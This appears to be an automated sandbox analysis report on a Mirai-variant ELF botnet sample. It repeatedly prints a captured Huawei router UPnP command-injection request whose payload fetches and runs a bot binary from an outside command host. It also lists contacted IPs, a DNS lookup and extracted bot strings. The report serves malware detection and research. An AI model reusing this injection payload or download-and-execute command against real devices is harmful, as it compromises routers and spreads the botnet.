79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/aXyM30sV1V.elf (PID: 5490)

Socket: 127.0.0.1:61420

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 205.120.223.78
Source: unknown	TCP traffic detected without corresponding DNS query: 70.201.40.80
Source: unknown	TCP traffic detected without corresponding DNS query: 20.51.247.88
Source: unknown	TCP traffic detected without corresponding DNS query: 120.84.58.115
Source: unknown	TCP traffic detected without corresponding DNS query: 167.152.163.124
Source: unknown	TCP traffic detected without corresponding DNS query: 185.58.65.43
Source: unknown	TCP traffic detected without corresponding DNS query: 77.144.205.213
Source: unknown	TCP traffic detected without corresponding DNS query: 76.12.183.181
Source: unknown	TCP traffic detected without corresponding DNS query: 166.47.64.4
Source: unknown	TCP traffic detected without corresponding DNS query: 14.142.165.152
Source: unknown	TCP traffic detected without corresponding DNS query: 85.46.82.42
Source: unknown	TCP traffic detected without corresponding DNS query: 177.245.114.0
Source: unknown	TCP traffic detected without corresponding DNS query: 164.80.35.201
Source: unknown	TCP traffic detected without corresponding DNS query: 86.162.242.210
Source: unknown	TCP traffic detected without corresponding DNS query: 142.71.235.32
Source: unknown	TCP traffic detected without corresponding DNS query: 46.125.192.163
Source: unknown	TCP traffic detected without corresponding DNS query: 205.223.131.194
Source: unknown	TCP traffic detected without corresponding DNS query: 166.27.169.186
Source: unknown	TCP traffic detected without corresponding DNS query: 206.113.216.43
Source: unknown	TCP traffic detected without corresponding DNS query: 81.111.221.62
Source: unknown	TCP traffic detected without corresponding DNS query: 152.189.190.254
Source: unknown	TCP traffic detected without corresponding DNS query: 45.234.112.54
Source: unknown	TCP traffic detected without corresponding DNS query: 17.12.240.2
Source: unknown	TCP traffic detected without corresponding DNS query: 205.165.176.1
Source: unknown	TCP traffic detected without corresponding DNS query: 37.211.124.44
Source: unknown	TCP traffic detected without corresponding DNS query: 85.17.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 36.225.40.250
Source: unknown	TCP traffic detected without corresponding DNS query: 191.63.146.86
Source: unknown	TCP traffic detected without corresponding DNS query: 95.194.173.7
Source: unknown	TCP traffic detected without corresponding DNS query: 191.80.13.93
Source: unknown	TCP traffic detected without corresponding DNS query: 216.22.164.223
Source: unknown	TCP traffic detected without corresponding DNS query: 187.116.228.153
Source: unknown	TCP traffic detected without corresponding DNS query: 108.129.36.220
Source: unknown	TCP traffic detected without corresponding DNS query: 148.240.114.68
Source: unknown	TCP traffic detected without corresponding DNS query: 206.192.111.200
Source: unknown	TCP traffic detected without corresponding DNS query: 90.92.194.151
Source: unknown	TCP traffic detected without corresponding DNS query: 61.158.129.69
Source: unknown	TCP traffic detected without corresponding DNS query: 72.93.197.17
Source: unknown	TCP traffic detected without corresponding DNS query: 181.114.197.8
Source: unknown	TCP traffic detected without corresponding DNS query: 211.82.164.220
Source: unknown	TCP traffic detected without corresponding DNS query: 122.216.74.115
Source: unknown	TCP traffic detected without corresponding DNS query: 130.179.187.172
Source: unknown	TCP traffic detected without corresponding DNS query: 1.24.254.109
Source: unknown	TCP traffic detected without corresponding DNS query: 82.238.123.180
Source: unknown	TCP traffic detected without corresponding DNS query: 208.240.214.186
Source: unknown	TCP traffic detected without corresponding DNS query: 97.76.120.251
Source: unknown	TCP traffic detected without corresponding DNS query: 121.37.59.7
Source: unknown	TCP traffic detected without corresponding DNS query: 122.148.9.227
Source: unknown	TCP traffic detected without corresponding DNS query: 108.17.2.31
Source: unknown	TCP traffic detected without corresponding DNS query: 92.121.159.182

Source: global traffic

DNS traffic detected: DNS query: counterstrike2-cheats.com

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: aXyM30sV1V.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: aXyM30sV1V.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: aXyM30sV1V.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5492.1.00007ff918001000.00007ff918014000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5496.1.00007ff918001000.00007ff918014000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5490.1.00007ff918001000.00007ff918014000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox ECCHI
Source: Initial sample	String containing 'busybox' found: ..:: Nullnet Network ::..This device is already on Nullnet Networkcounterstrike2-cheats.com/proc//exe/fd/maps/proc/net/tcpUPX!sysupdaterKILLATTKBOGOMIPSpandoraMercurycrsfiahsokRootedREKAImioriMASUTAGhostWuzHere666CoronaloliganglolxdNiGGeR69xdnucleardvrHelperyakuzaUnHAnaAWAreslessie.HilixReaper.AlexsoraAmakanorzrnyamezyzhrlzrdGummyMoziYakuzadaddyl33t.un5Demon.Okami/dev/watchdog/dev/misc/watchdog/dev/FTWDT101_watchdog/dev/FTWDT101\ watchdogshellenablesystemsh/bin/busybox ECCHIECCHI: applet not foundncorrectasswordoginenter/etc/resolv.confnameserverConnection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.8Content-Type: application/x-www-form-urlencodedsetCookie('refresh:location:set-cookie:content-length:transfer-encoding:chunkedkeep-aliveconnection:server: dosarrestserver: cloudflare-nginxHTTP/1.1User-Agent:Host:Cookie:httpurl=POSTMozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safa

Source: ELF static info symbol of initial sample

.symtab present: no

